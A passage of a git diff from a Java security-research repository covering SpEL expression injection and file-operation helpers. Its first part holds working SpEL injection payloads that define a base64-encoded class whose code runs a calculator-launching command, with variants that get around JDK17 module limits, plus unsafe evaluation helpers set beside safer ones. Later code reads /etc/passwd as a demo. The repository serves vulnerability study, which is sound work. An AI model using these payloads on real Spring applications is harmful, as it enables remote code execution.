wAVABUAEAAAAAIAAAATAAAABwACVAcAFQAAAQAXAAAAAgAY'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()))}"; + classLoad2 = "{T(org.springframework.cglib.core.ReflectUtils).defineClass('org.example.Exec',T(java.util.Base64).getDecoder().decode('yv66vgAAADQAMgoACwAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMIACQHACUHACYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEkxvcmcvZXhhbXBsZS9FeGVjOwEADVN0YWNrTWFwVGFibGUHACUHACMBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAlFeGVjLmphdmEMAAwADQcAJwwAKAApAQAERXhlYwcAKgwAKwAsBwAtDAAuAC8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAwADEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQALc3RhdGljIEV4ZWMBABBvcmcvZXhhbXBsZS9FeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAIAAQAMAA0AAQAOAAAAdgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABoABgAAAAcABAAJAAwACgAVAAwAGAALABkADQAQAAAADAABAAAAGgARABIAAAATAAAAEAAC/wAYAAEHABQAAQcAFQAACAAWAA0AAQAOAAAAWwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAFgAFAAAAEQAIABIAEQAUABQAEwAVABUAEAAAAAIAAAATAAAABwACVAcAFQAAAQAXAAAAAgAY'),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName(\"org.springframework.expression.ExpressionParser\"))}"; + + /** + * 高版本利用 + */ + // (java.lang.Thread).currentThread().getContextClassLoader() + // 命名模块 + String classLoadJDK17_1 = "{T(org.springframework.cglib.core.ReflectUtils).defineClass('org.springframework.expression.Test',T(java.util.Base64).getDecoder().decode('yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdDsBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACEBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAALAAwHACQMACUAJgEAC3N0YXRpYyBFeGVjBwAnDAAoACkHACoMACsALAEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHAMAC0ALgEAE2phdmEvbGFuZy9FeGNlcHRpb24BACNvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAABgAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABbAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAAWAAUAAAAJAAgACgARAAwAFAALABUADQAPAAAAAgAAABMAAAAHAAJUBwAUAAABABUAAAACABY='),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName(\"org.springframework.expression.ExpressionParser\"))}"; + + // (java.lang.ClassLoader).getSystemClassLoader() + String classLoadJDK17_2 = "{T(org.springframework.cglib.core.ReflectUtils).defineClass('org.springframework.expression.Test',T(java.util.Base64).getDecoder().decode('yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdDsBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACEBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAALAAwHACQMACUAJgEAC3N0YXRpYyBFeGVjBwAnDAAoACkHACoMACsALAEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHAMAC0ALgEAE2phdmEvbGFuZy9FeGNlcHRpb24BACNvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAABgAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABbAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAAWAAUAAAAJAAgACgARAAwAFAALABUADQAPAAAAAgAAABMAAAAHAAJUBwAUAAABABUAAAACABY='),T(java.lang.ClassLoader).getSystemClassLoader(), null, T(java.lang.Class).forName(\"org.springframework.expression.ExpressionParser\"))}"; + + +// Object obj = eval(classLoadJDK17_1); +// System.out.println(obj); + + +// // 添加 module 后二次加载 unnamed module 报错调试 +// String test1 = "{T(org.springframework.cglib.core.ReflectUtils).defineClass('org.springframework.expression.Test3',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQAfAoAFAA7CQA8AD0IAD4KAD8AQAoAQQBCCABDCgBBAEQHAEUIAEYKABAARwgASAoAEABJCgBKAEsKAEoATAcATQcATggATwoAEABQCgBRAEsHAFIKAFEAUwcAVAgAMgoADwBVCABWCQBXAFgKABAAWQoAVwBaCgAWAFsKABYAOwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAmTG9yZy9zcHJpbmdmcmFtZXdvcmsvZXhwcmVzc2lvbi9UZXN0MzsBAA1TdGFja01hcFRhYmxlBwBUBwBFAQAJYWRkTW9kdWxlAQALdW5zYWZlQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAC3Vuc2FmZUZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABnVuc2FmZQEAEUxzdW4vbWlzYy9VbnNhZmU7AQAGbWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZtb2R1bGUBABJMamF2YS9sYW5nL09iamVjdDsBAANjbHMBAAZvZmZzZXQBAAFKAQAVZ2V0QW5kU2V0T2JqZWN0TWV0aG9kAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwAHwAgBwBcDABdAF4BAARFeGVjBwBfDABgAGEHAGIMAGMAZAEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHAMAGUAZgEAE2phdmEvbGFuZy9FeGNlcHRpb24BAA9zdW4ubWlzYy5VbnNhZmUMAGcAaAEACXRoZVVuc2FmZQwAaQBqBwBrDABsAG0MAG4AbwEAD3N1bi9taXNjL1Vuc2FmZQEAD2phdmEvbGFuZy9DbGFzcwEACWdldE1vZHVsZQwAcABxBwByAQAQamF2YS9sYW5nL09iamVjdAwAcwB0AQAkb3JnL3NwcmluZ2ZyYW1ld29yay9leHByZXNzaW9uL1Rlc3QzDAB1AHYBAA9nZXRBbmRTZXRPYmplY3QHAHcMAHgAKwwAeQBxDAB6AHsMACkAIAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABFvYmplY3RGaWVsZE9mZnNldAEAHChMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7KUoBAA5qYXZhL2xhbmcvTG9uZwEABFRZUEUBAAlnZXRNZXRob2QBAAd2YWx1ZU9mAQATKEopTGphdmEvbGFuZy9Mb25nOwAhABYAFAAAAAAAAwABAB8AIAABACEAAAB2AAIAAgAAABoqtwABsgACEgO2AAS4AAUSBrYAB1enAARMsQABAAQAFQAYAAgAAwAiAAAAGgAGAAAADAAEAA4ADAAPABUAEQAYABAAGQASACMAAAAMAAEAAAAaACQAJQAAACYAAAAQAAL/ABgAAQcAJwABBwAoAAAJACkAIAABACEAAAFMAAcACQAAAI0SCbgACksqEgu2AAxMKwS2AA0rAbYADsAAD00SEBIRA70AELYAEk4tBLYAEy0SFAO9ABS2ABU6BBIWOgUsEhASF7YADLYAGDcGKhIZBr0AEFkDEhRTWQSyABpTWQUSFFO2ABs6CBkIBLYAExkILAa9ABRZAxkFU1kEFga4ABxTWQUZBFO2ABVXpwAES7EAAQAAAIgAiwAIAAMAIgAAAD4ADwAAABsABgAcAA0AHQASAB4AGwAfACcAIAAsACEAOAAiADwAIwBJACQAZQAlAGsAJgCIACkAiwAnAIwAKgAjAAAAUgAIAAYAggAqACsAAAANAHsALAAtAAEAGwBtAC4ALwACACcAYQAwADEAAwA4AFAAMgAzAAQAPABMADQAKwAFAEkAPwA1ADYABgBlACMANwAxAAgAJgAAAAkAAvcAiwcAKAAACAA4ACAAAQAhAAAALAACAAAAAAAMuAAduwAWWbcAHlexAAAAAQAiAAAADgADAAAAFQADABYACwAXAAEAOQAAAAIAOg=='),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName('org.springframework.expression.ExpressionParser'))}"; +// String load = "{T(java.lang.Thread).currentThread().getContextClassLoader().loadClass('org.springframework.expression.Test3').newInstance()}"; +// eval(test1); +// eval(load); + + eval(classLoad2); + + } + + public static Object eval(String payload) { + return new SpelExpressionParser().parseExpression(payload).getValue(); + } + + /** + * 默认也是用的 StandardEvaluationContext + */ + public static Object spelStandardEvaluationContext(String payload) { + EvaluationContext evaluationContext = new StandardEvaluationContext(); + return new SpelExpressionParser().parseExpression(payload).getValue(evaluationContext); + } + + public static Object spelMethodBasedEvaluationContext(String payload) { + + EvaluationContext evaluationContext = new MethodBasedEvaluationContext(new User(), null, null, null); + return new SpelExpressionParser().parseExpression(payload).getValue(evaluationContext); + } + + /** + * safe + */ + + /** + * SimpleEvaluationContext + */ + public static Object spelSimpleEvaluationContext(String payload) { + EvaluationContext evaluationContext = SimpleEvaluationContext.forReadOnlyDataBinding().build(); + return new SpelExpressionParser().parseExpression(payload).getValue(evaluationContext); + } + + public static Object spelSafe(String payload) { + StandardEvaluationContext context = new StandardEvaluationContext(); + context.setVariable("payload", payload); + Expression expression = new SpelExpressionParser().parseExpression("#payload"); + return expression.getValue(context); + } +} diff --git a/Expression/SPELAttack/src/main/java/com/example/spelattack/User.java b/SecVulns/VulnCore/Expression/SPELAttack/src/main/java/com/ppp/spel/User.java similarity index 62% rename from Expression/SPELAttack/src/main/java/com/example/spelattack/User.java rename to SecVulns/VulnCore/Expression/SPELAttack/src/main/java/com/ppp/spel/User.java index 96fca00..e55110c 100644 --- a/Expression/SPELAttack/src/main/java/com/example/spelattack/User.java +++ b/SecVulns/VulnCore/Expression/SPELAttack/src/main/java/com/ppp/spel/User.java @@ -1,4 +1,4 @@ -package com.example.spelattack; +package com.ppp.spel; /** * @author Whoopsunix diff --git a/SecVulns/VulnCore/Expression/pom.xml b/SecVulns/VulnCore/Expression/pom.xml new file mode 100644 index 0000000..b541de3 --- /dev/null +++ b/SecVulns/VulnCore/Expression/pom.xml @@ -0,0 +1,63 @@ + + 4.0.0 + + com.ppp + Expression + 1.0 + pom + + Expression + + + ELAttack + JEXLAttack + JxPathAttack + MVELAttack + OGNLAttack + SPELAttack + AviatorAttack + + + + + com.ppp + ELAttack + 1.0 + + + com.ppp + JEXLAttack + 1.0 + + + com.ppp + JxPathAttack + 1.0 + + + com.ppp + MVELAttack + 1.0 + + + com.ppp + OGNLAttack + 1.0 + + + com.ppp + SPELAttack + 1.0 + + + com.ppp + AviatorAttack + 1.0 + + + + + UTF-8 + + diff --git a/FilesOperations/pom.xml b/SecVulns/VulnCore/FilesOperations/pom.xml similarity index 91% rename from FilesOperations/pom.xml rename to SecVulns/VulnCore/FilesOperations/pom.xml index e27f4a8..7aab522 100644 --- a/FilesOperations/pom.xml +++ b/SecVulns/VulnCore/FilesOperations/pom.xml @@ -2,13 +2,12 @@ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 4.0.0 - org.example + com.ppp FilesOperations - 1.0-SNAPSHOT + 1.0 jar FilesOperations - http://maven.apache.org UTF-8 diff --git a/SecVulns/VulnCore/FilesOperations/src/main/java/com/ppp/FileDelete.java b/SecVulns/VulnCore/FilesOperations/src/main/java/com/ppp/FileDelete.java new file mode 100644 index 0000000..7cefbe6 --- /dev/null +++ b/SecVulns/VulnCore/FilesOperations/src/main/java/com/ppp/FileDelete.java @@ -0,0 +1,20 @@ +package com.ppp; + +import java.io.File; + +/** + * @author Whoopsunix + * + * 文件删除 + */ +public class FileDelete { + public static boolean delete(String filePath) { + File delFile = new File(filePath); + if (delFile.isFile() && delFile.exists()) { + if (delFile.delete()) { + return true; + } + } + return false; + } +} diff --git a/SecVulns/VulnCore/FilesOperations/src/main/java/com/ppp/FileDirectory.java b/SecVulns/VulnCore/FilesOperations/src/main/java/com/ppp/FileDirectory.java new file mode 100644 index 0000000..73f6513 --- /dev/null +++ b/SecVulns/VulnCore/FilesOperations/src/main/java/com/ppp/FileDirectory.java @@ -0,0 +1,37 @@ +package com.ppp; + +import java.io.File; +import java.util.Arrays; + +/** + * @author Whoopsunix + * + * 路径遍历 + */ +public class FileDirectory { + + public static void main(String[] args) { + String[] directory = listFiles("/tmp"); + System.out.println(Arrays.toString(directory)); + } + + public static String[] list(String filePath) { + String[] files = new File(filePath).list(); + return files; + } + + public static String[] listFiles(String filePath) { + File[] fileLists = new File(filePath).listFiles(); + + String[] arrayList = new String[]{}; + + for (File file : fileLists) { + if (file.isFile()) { + arrayList = Arrays.copyOf(arrayList, arrayList.length + 1); + arrayList[arrayList.length - 1] = file.getName(); + } + } + + return arrayList; + } +} diff --git a/FilesOperations/src/main/java/org/example/FileRead.java b/SecVulns/VulnCore/FilesOperations/src/main/java/com/ppp/FileRead.java similarity index 78% rename from FilesOperations/src/main/java/org/example/FileRead.java rename to SecVulns/VulnCore/FilesOperations/src/main/java/com/ppp/FileRead.java index 3bc18be..a84b6ad 100644 --- a/FilesOperations/src/main/java/org/example/FileRead.java +++ b/SecVulns/VulnCore/FilesOperations/src/main/java/com/ppp/FileRead.java @@ -1,4 +1,4 @@ -package org.example; +package com.ppp; import java.io.*; import java.util.Scanner; @@ -7,12 +7,17 @@ * @author Whoopsunix */ public class FileRead { + public static void main(String[] args) throws Exception { + String s = read_FileUtils("/etc/passwd"); + System.out.println(s); + } + /** * abstract java.io.Reader * java.io.InputStreamReader * 自带的 read() */ - public String read_InputStreamReader(String filePath) throws Exception { + public static String read_InputStreamReader(String filePath) throws Exception { FileInputStream fileInputStream = new FileInputStream(filePath); InputStreamReader inputStreamReader = new InputStreamReader(fileInputStream); @@ -33,7 +38,7 @@ public String read_InputStreamReader(String filePath) throws Exception { * java.io.InputStreamReader * java.io.BufferedReader */ - public String read_InputStreamReader_BufferedReader(String filePath) throws Exception { + public static String read_InputStreamReader_BufferedReader(String filePath) throws Exception { FileInputStream fileInputStream = new FileInputStream(filePath); InputStreamReader inputStreamReader = new InputStreamReader(fileInputStream); BufferedReader bufferedReader = new BufferedReader(inputStreamReader); @@ -46,7 +51,7 @@ public String read_InputStreamReader_BufferedReader(String filePath) throws Exce return content.toString(); } - public String read_InputStreamReader_CharArrayReader(String filePath) throws Exception { + public static String read_InputStreamReader_CharArrayReader(String filePath) throws Exception { FileInputStream fileInputStream = new FileInputStream(filePath); InputStreamReader inputStreamReader = new InputStreamReader(fileInputStream); char[] charArray = new char[1024]; @@ -67,7 +72,7 @@ public String read_InputStreamReader_CharArrayReader(String filePath) throws Exc /** * 对照组 */ - public String read_InputStreamReader_text(String str) throws Exception { + public static String read_InputStreamReader_text(String str) throws Exception { InputStream inputStream = new ByteArrayInputStream(str.getBytes()); InputStreamReader inputStreamReader = new InputStreamReader(inputStream); @@ -81,8 +86,22 @@ public String read_InputStreamReader_text(String str) throws Exception { return content.toString(); } + public static String read_FileInputStream_BufferedInputStream(String filePath) throws Exception { + FileInputStream fileInputStream = new FileInputStream(filePath); + BufferedInputStream bufferedInputStream = new BufferedInputStream(fileInputStream); + byte[] buf = new byte[1024]; + int len; + OutputStream outputStream = new ByteArrayOutputStream(); + while ((len = bufferedInputStream.read(buf)) > 0) { + outputStream.write(buf, 0, len); + } + outputStream.close(); + bufferedInputStream.close(); + return outputStream.toString(); + } + // java.io.FileInputStream - public String read_FileInputStream(String filePath) { + public static String read_FileInputStream(String filePath) { String content = ""; try { FileInputStream fileInputStream = new FileInputStream(filePath); @@ -101,7 +120,7 @@ public String read_FileInputStream(String filePath) { * FileReader */ // java.io.BufferedReader.readLine() - public String read_FileReader_bufferedReader1(String filePath) throws Exception { + public static String read_FileReader_bufferedReader1(String filePath) throws Exception { StringBuilder content = new StringBuilder(); FileReader reader = new FileReader(filePath); BufferedReader bufferedReader = new BufferedReader(reader); @@ -115,7 +134,7 @@ public String read_FileReader_bufferedReader1(String filePath) throws Exception } // java.io.BufferedReader.read() - public String read_FileReader_bufferedReader2(String filePath) throws Exception { + public static String read_FileReader_bufferedReader2(String filePath) throws Exception { StringBuilder content = new StringBuilder(); FileReader reader = new FileReader(filePath); BufferedReader bufferedReader = new BufferedReader(reader); @@ -132,7 +151,7 @@ public String read_FileReader_bufferedReader2(String filePath) throws Exception // java.io.FileReader.read() // 不套其他 直接通过 FileReader 读取 - public String read_FileReader(String filePath) throws Exception { + public static String read_FileReader(String filePath) throws Exception { StringBuilder content = new StringBuilder(); FileReader reader = new FileReader(filePath); int character; @@ -147,7 +166,7 @@ public String read_FileReader(String filePath) throws Exception { } // java.io.LineNumberReader.read() - public String read_FileReader_LineNumberReader(String filePath) throws Exception { + public static String read_FileReader_LineNumberReader(String filePath) throws Exception { StringBuilder content = new StringBuilder(); FileReader reader = new FileReader(filePath); LineNumberReader lineNumberReader = new LineNumberReader(reader); @@ -161,7 +180,7 @@ public String read_FileReader_LineNumberReader(String filePath) throws Exception } // java.io.CharArrayReader.read() - public String read_FileReader_CharArrayReader(String filePath) throws Exception { + public static String read_FileReader_CharArrayReader(String filePath) throws Exception { StringBuilder content = new StringBuilder(); FileReader reader = new FileReader(filePath); @@ -180,7 +199,7 @@ public String read_FileReader_CharArrayReader(String filePath) throws Exception } // java.io.PushbackReader - public String read_PushbackReader(String filePath) throws Exception { + public static String read_PushbackReader(String filePath) throws Exception { StringBuilder content = new StringBuilder(); FileReader reader = new FileReader(filePath); PushbackReader pushbackReader = new PushbackReader(reader); @@ -199,13 +218,13 @@ public String read_PushbackReader(String filePath) throws Exception { * Files */ // java.nio.file.Files.readAllBytes() - public String read_Files_readAllBytes(String filePath) throws Exception { + public static String read_Files_readAllBytes(String filePath) throws Exception { byte[] data = java.nio.file.Files.readAllBytes(java.nio.file.Paths.get(filePath)); return new String(data, "UTF-8"); } // java.nio.file.Files.readAllLines() - public String read_Files_readAllLines(String filePath) throws Exception { + public static String read_Files_readAllLines(String filePath) throws Exception { StringBuilder content = new StringBuilder(); java.util.List lines = java.nio.file.Files.readAllLines(java.nio.file.Paths.get(filePath)); for (String line : lines) { @@ -218,7 +237,7 @@ public String read_Files_readAllLines(String filePath) throws Exception { * Scanner */ // java.util.Scanner - public String read_Scanner_File(String filePath) throws Exception { + public static String read_Scanner_File(String filePath) throws Exception { StringBuilder content = new StringBuilder(); Scanner scanner = new Scanner(new File(filePath)); while (scanner.hasNextLine()) { @@ -229,7 +248,7 @@ public String read_Scanner_File(String filePath) throws Exception { } // java.util.Scanner - public String read_Scanner_Path(String filePath) throws Exception { + public static String read_Scanner_Path(String filePath) throws Exception { StringBuilder content = new StringBuilder(); Scanner scanner = new Scanner(java.nio.file.Paths.get(filePath)); while (scanner.hasNextLine()) { @@ -243,7 +262,7 @@ public String read_Scanner_Path(String filePath) throws Exception { * java.io.RandomAccessFile * readLine() */ - public String read_RandomAccessFile_readLine(String filePath) throws Exception { + public static String read_RandomAccessFile_readLine(String filePath) throws Exception { RandomAccessFile randomAccessFile = new RandomAccessFile(filePath, "r"); StringBuilder content = new StringBuilder(); String line; @@ -260,7 +279,7 @@ public String read_RandomAccessFile_readLine(String filePath) throws Exception { * java.io.RandomAccessFile * read() */ - public String read_RandomAccessFile_read(String filePath) throws Exception { + public static String read_RandomAccessFile_read(String filePath) throws Exception { RandomAccessFile randomAccessFile = new RandomAccessFile(filePath, "r"); StringBuilder content = new StringBuilder(); int character; @@ -276,7 +295,7 @@ public String read_RandomAccessFile_read(String filePath) throws Exception { } // java.nio.channels.FileChannel - public String read_FileChannel(String filePath) throws Exception { + public static String read_FileChannel(String filePath) throws Exception { StringBuilder content = new StringBuilder(); FileInputStream fileInputStream = new FileInputStream(filePath); java.nio.channels.FileChannel fileChannel = fileInputStream.getChannel(); @@ -292,7 +311,7 @@ public String read_FileChannel(String filePath) throws Exception { } // java.nio.channels.FileChannel.open - public String read_FileChannel_open(String filePath) throws Exception { + public static String read_FileChannel_open(String filePath) throws Exception { StringBuilder content = new StringBuilder(); java.nio.channels.FileChannel fileChannel = java.nio.channels.FileChannel.open(java.nio.file.Paths.get(filePath)); java.nio.ByteBuffer byteBuffer = java.nio.ByteBuffer.allocate(1024); @@ -308,7 +327,14 @@ public String read_FileChannel_open(String filePath) throws Exception { /** * org.apache.commons.io.FileUtils */ - public String read_FileUtils(String filePath) throws Exception { + public static String read_FileUtils(String filePath) throws Exception { return org.apache.commons.io.FileUtils.readFileToString(new File(filePath), "UTF-8"); } + + public static String read_IOUtils(String filePath) throws Exception { + FileInputStream input = new FileInputStream(filePath); + byte[] data = new byte[(int) new File(filePath).length()]; + org.apache.commons.io.IOUtils.readFully(input, data); + return new String(data, "UTF-8"); + } } diff --git a/SecVulns/VulnCore/FilesOperations/src/main/java/com/ppp/FileRename.java b/SecVulns/VulnCore/FilesOperations/src/main/java/com/ppp/FileRename.java new file mode 100644 index 0000000..7959c0b --- /dev/null +++ b/SecVulns/VulnCore/FilesOperations/src/main/java/com/ppp/FileRename.java @@ -0,0 +1,25 @@ +package com.ppp; + +import java.io.File; + +/** + * @author Whoopsunix + *

+ * 文件重命名 + */ +public class FileRename { + public static void main(String[] args) { + + } + + public static boolean rename(String oldFile, String newFile) { + File of = new File(oldFile); + File nf = new File(newFile); + if (of.isFile() && of.exists()) { + if (of.renameTo(nf)) { + return true; + } + } + return false; + } +} diff --git a/FilesOperations/src/main/java/org/example/FileWrite.java b/SecVulns/VulnCore/FilesOperations/src/main/java/com/ppp/FileWrite.java similarity index 59% rename from FilesOperations/src/main/java/org/example/FileWrite.java rename to SecVulns/VulnCore/FilesOperations/src/main/java/com/ppp/FileWrite.java index 949ee44..d69ca54 100644 --- a/FilesOperations/src/main/java/org/example/FileWrite.java +++ b/SecVulns/VulnCore/FilesOperations/src/main/java/com/ppp/FileWrite.java @@ -1,4 +1,4 @@ -package org.example; +package com.ppp; import java.io.*; @@ -8,16 +8,20 @@ public class FileWrite { public static void main(String[] args) throws Exception{ - String path = "/tmp/1.txt"; - String content = "Hello World!"; - new FileWrite().write_FileWriter_CharArrayWriter(path, content); +// String path = "/tmp/1.txt"; + String name = "123.jsp"; +// name = "123"; + String path = "/tmp/"+ name + ".txt"; + + String content = "Hello Whoopsunix!"; + FileWrite.write_DataOut(path, content); } /** * java.io.FileWriter */ // java.io.OutputStreamWriter - public void write_OutputStreamWriter(String filePath, String context) throws Exception { + public static void write_OutputStreamWriter(String filePath, String context) throws Exception { OutputStream outputStream = new FileOutputStream(filePath); OutputStreamWriter outputStreamWriter = new OutputStreamWriter(outputStream); outputStreamWriter.write(context); @@ -25,14 +29,14 @@ public void write_OutputStreamWriter(String filePath, String context) throws Exc } // java.io.FileWriter - public void write_FileWriter(String filePath, String context) throws Exception { + public static void write_FileWriter(String filePath, String context) throws Exception { FileWriter fileWriter = new FileWriter(filePath); fileWriter.write(context); fileWriter.close(); } // java.io.BufferedWriter - public void write_FileWriter_BufferedWriter(String filePath, String context) throws Exception { + public static void write_FileWriter_BufferedWriter(String filePath, String context) throws Exception { FileWriter fileWriter = new FileWriter(filePath); BufferedWriter bufferedWriter = new BufferedWriter(fileWriter); bufferedWriter.write(context); @@ -41,7 +45,7 @@ public void write_FileWriter_BufferedWriter(String filePath, String context) thr } // java.io.CharArrayWriter - public void write_FileWriter_CharArrayWriter(String filePath, String context) throws Exception { + public static void write_FileWriter_CharArrayWriter(String filePath, String context) throws Exception { CharArrayWriter charArrayWriter = new CharArrayWriter(); charArrayWriter.write(context); FileWriter fileWriter = new FileWriter(filePath); @@ -51,7 +55,7 @@ public void write_FileWriter_CharArrayWriter(String filePath, String context) th } // java.io.PrintWriter - public void write_FileWriter_PrintWriter(String filePath, String context) throws Exception { + public static void write_FileWriter_PrintWriter(String filePath, String context) throws Exception { PrintWriter printWriter = new PrintWriter(new FileWriter(filePath)); printWriter.println(context); printWriter.close(); @@ -62,35 +66,42 @@ public void write_FileWriter_PrintWriter(String filePath, String context) throws * java.io.PrintWriter */ // java.io.BufferedWriter java.io.FileWriter - public void write_PrintWriter_BufferedWriter_FileWriter(String filePath, String context) throws Exception { + public static void write_PrintWriter_BufferedWriter_FileWriter(String filePath, String context) throws Exception { PrintWriter out = new PrintWriter(new BufferedWriter(new FileWriter(filePath))); out.println(context); out.close(); } // java.io.FileOutputStream.write() - public void write_FileOutputStream(String filePath, String context) throws Exception { + public static void write_FileOutputStream(String filePath, String context) throws Exception { FileOutputStream fileOutputStream = new FileOutputStream(filePath); fileOutputStream.write(context.getBytes()); fileOutputStream.close(); } + public static void write_FileOutputStream_file(String filePath, String context) throws Exception { + File file = new File(filePath); + FileOutputStream fileOutputStream = new FileOutputStream(file); + fileOutputStream.write(context.getBytes()); + fileOutputStream.close(); + } + // java.io.PrintStream - public void write_PrintStream(String filePath, String context) throws Exception { + public static void write_PrintStream(String filePath, String context) throws Exception { PrintStream printStream = new PrintStream(filePath); printStream.print(context); printStream.close(); } // java.io.RandomAccessFile - public void write_RandomAccessFile(String filePath, String context) throws Exception { + public static void write_RandomAccessFile(String filePath, String context) throws Exception { RandomAccessFile randomAccessFile = new RandomAccessFile(filePath, "rw"); randomAccessFile.write(context.getBytes()); randomAccessFile.close(); } // java.nio.channels.FileChannel - public void write_FileChannel(String filePath, String context) throws Exception { + public static void write_FileChannel(String filePath, String context) throws Exception { FileOutputStream fileOutputStream = new FileOutputStream(filePath); java.nio.channels.FileChannel fileChannel = 